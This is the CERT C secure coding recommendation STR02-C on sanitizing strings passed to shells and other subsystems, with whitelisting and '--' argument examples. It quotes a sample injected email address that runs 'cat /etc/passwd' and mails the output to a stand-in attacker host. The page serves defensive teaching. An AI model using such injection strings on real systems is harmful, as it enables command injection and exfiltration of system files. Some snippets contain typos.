STR02-C. Sanitize data passed to complex subsystems

String data passed to complex subsystems may contain special characters that can trigger commands or actions, resulting in a software vulnerability. As a result, it is necessary to sanitize all string data passed to complex subsystems so that the resulting string is innocuous in the context in which it will be interpreted.

These are some examples of complex subsystems:

- Command processor via a call to `system()` or similar function (also addressed in ENV03-C. Sanitize the environment when invoking external programs)
- External programs
- Relational databases
- Third-party commercial off-the-shelf components (for example, an enterprise resource planning subsystem)

Noncompliant Code Example

Data sanitization requires an understanding of the data being passed and the capabilities of the subsystem. John Viega and Matt Messier provide an example of an application that inputs an email address to a buffer and then uses this string as an argument in a call to `system()` [Viega 2003]:

```c
sprintf(buffer, "/bin/mail %s < /tmp/email", addr);
system(buffer);
```

The risk, of course, is that the user enters the following string as an email address:

```
bogus@addr.com; cat /etc/passwd  | mail some@badguy.net
```

For more information on the `system()` call, see ENV03-C. Sanitize the environment when invoking external programs and ENV33-C. Do not call `system()`.

Compliant Solution

It is necessary to ensure that all valid data is accepted, while potentially dangerous data is rejected or sanitized. Doing so can be difficult when valid characters or sequences of characters also have special meaning to the subsystem and may involve validating the data against a grammar. In cases where there is no overlap, whitelisting can be used to eliminate dangerous characters from the data.

The whitelisting approach to data sanitization is to define a list of acceptable characters and remove any character that is not acceptable. The list of valid input values is typically a predictable, well-defined set of manageable size. This compliant solution, based on the `tcp_wrappers` package written by Wietse Venema, shows the whitelisting approach:

```c
static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz"
                        "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                        "1234567890_-.@";
char user_data[] = "Bad char 1:} Bad char 2:{";
char *cp = user_data; /* Cursor into string */
const char *end = user_data + strlen( user_data);
for (cp += strspn(cp, ok_chars); cp != end; cp += strspn(cp, ok_chars)) {
    *cp = '_';
}
```

The benefit of whitelisting is that a programmer can be certain that a string contains only characters that are considered safe by the programmer. Whitelisting is recommended over blacklisting, which traps all unacceptable characters, because the programmer needs only to ensure that acceptable characters are identified. As a result, the programmer can be less concerned about which characters an attacker may try in an attempt to bypass security checks.

Noncompliant Code Example

This noncompliant code example is taken from [VU#881872], a vulnerability in the Sun Solaris TELNET daemon (`in.telnetd`) that allows a remote attacker to log on to the system with elevated privileges.

The vulnerability in `in.telnetd` invokes the `login` program by calling `execl()`. This call passes unsanitized data from an untrusted source (the USER environment variable) as an argument to the `login` program:
An attacker, in this case, can gain unauthenticated access to a system by setting the `USER` environment variable to a string, which is interpreted as an additional command-line option by the `login` program. This kind of attack is called **argument injection**.

Compliant Solution

This compliant solution inserts the `"--"` (double dash) argument before the call to `getenv("USER")` in the call to `execl()`:

```c
{void) execl(LOGIN_PROGRAM, "login",
  "-p",
  "-d", slavename,
  "-h", host,
  "-s", pam_svc_name,
  (AuthenticatingUser != NULL ? AuthenticatingUser :
   getenv("USER")),
  0);
```

Because the `login` program uses the POSIX `getopt()` function to parse command-line arguments, and because the `"--"` option causes `getopt()` to stop interpreting options in the argument list, the `USER` variable cannot be used by an attacker to inject an additional command-line option. This is a valid means of sanitizing the untrusted user data in this context because the behavior of the interpretation of the resulting string is rendered innocuous.

The call to `execl()` is not susceptible to command injection because the shell command interpreter is not invoked. (See ENV33-C. Do not call `system()`.)

Risk Assessment

Failure to sanitize data passed to a complex subsystem can lead to an injection attack, data integrity issues, and a loss of sensitive data.

<table>
<thead>
<tr>
<th>Recommendation</th>
<th>Severity</th>
<th>Likelihood</th>
<th>Remediation Cost</th>
<th>Priority</th>
<th>Level</th>
</tr>
</thead>
<tbody>
<tr>
<td>STR02-C</td>
<td>High</td>
<td>Likely</td>
<td>Medium</td>
<td>P18</td>
<td>L1</td>
</tr>
</tbody>
</table>

Automated Detection

<table>
<thead>
<tr>
<th>Tool</th>
<th>Version</th>
<th>Checker</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CodeSonar</td>
<td>5.2p0</td>
<td>IO.INJ.COMMAND IO.INJ.FMT IO.INJ.LDAP IO.INJ.LIB IO.INJ.SQL IO.UT.LIB IO.UT.PROC</td>
<td>Command injection Format string injection LDAP injection Library injection SQL injection Untrusted Library Load Untrusted Process Creation</td>
</tr>
<tr>
<td>Coverity</td>
<td>6.5</td>
<td>TAIANTED_STRING</td>
<td>Fully implemented</td>
</tr>
<tr>
<td>Klocwork</td>
<td>2018</td>
<td>NNTS.TAINTED SV.TAINTED.INJECTION</td>
<td></td>
</tr>
<tr>
<td>LDRA tool suite</td>
<td>9.7.1</td>
<td>108 D, 109 D</td>
<td>Partially implemented</td>
</tr>
<tr>
<td>Parasoft C/C++test</td>
<td>10.4.2</td>
<td>CERT.C-STR02-a CERT.C-STR02-b CERT.C-STR02-c</td>
<td>Protect against command injection Protect against file name injection Protect against SQL injection</td>
</tr>
<tr>
<td>Polyspace Bug Finder</td>
<td>R2019b</td>
<td>CERT C: Rec. STR02-C</td>
<td>Checks for: Execution of externally controlled command Command executed from externally controlled path Library loaded from externally controlled path Rec. partially covered.</td>
</tr>
</tbody>
</table>
Related Vulnerabilities

Search for vulnerabilities resulting from the violation of this rule on the CERT website.

Related Guidelines

<table>
<thead>
<tr>
<th>Standard</th>
<th>Guideline</th>
</tr>
</thead>
<tbody>
<tr>
<td>SEI CERT C++ Coding Standard</td>
<td>VOID STR02-CPP. Sanitize data passed to complex subsystems</td>
</tr>
<tr>
<td>CERT Oracle Secure Coding Standard for Java</td>
<td>IDS00-J. Prevent SQL injection</td>
</tr>
<tr>
<td>MITRE CWE</td>
<td>CWE-88, Argument injection or modification</td>
</tr>
<tr>
<td></td>
<td>CWE-78, Failure to sanitize data into an OS command (aka &quot;OS command injection&quot;)</td>
</tr>
</tbody>
</table>

Bibliography

[Viega 2003]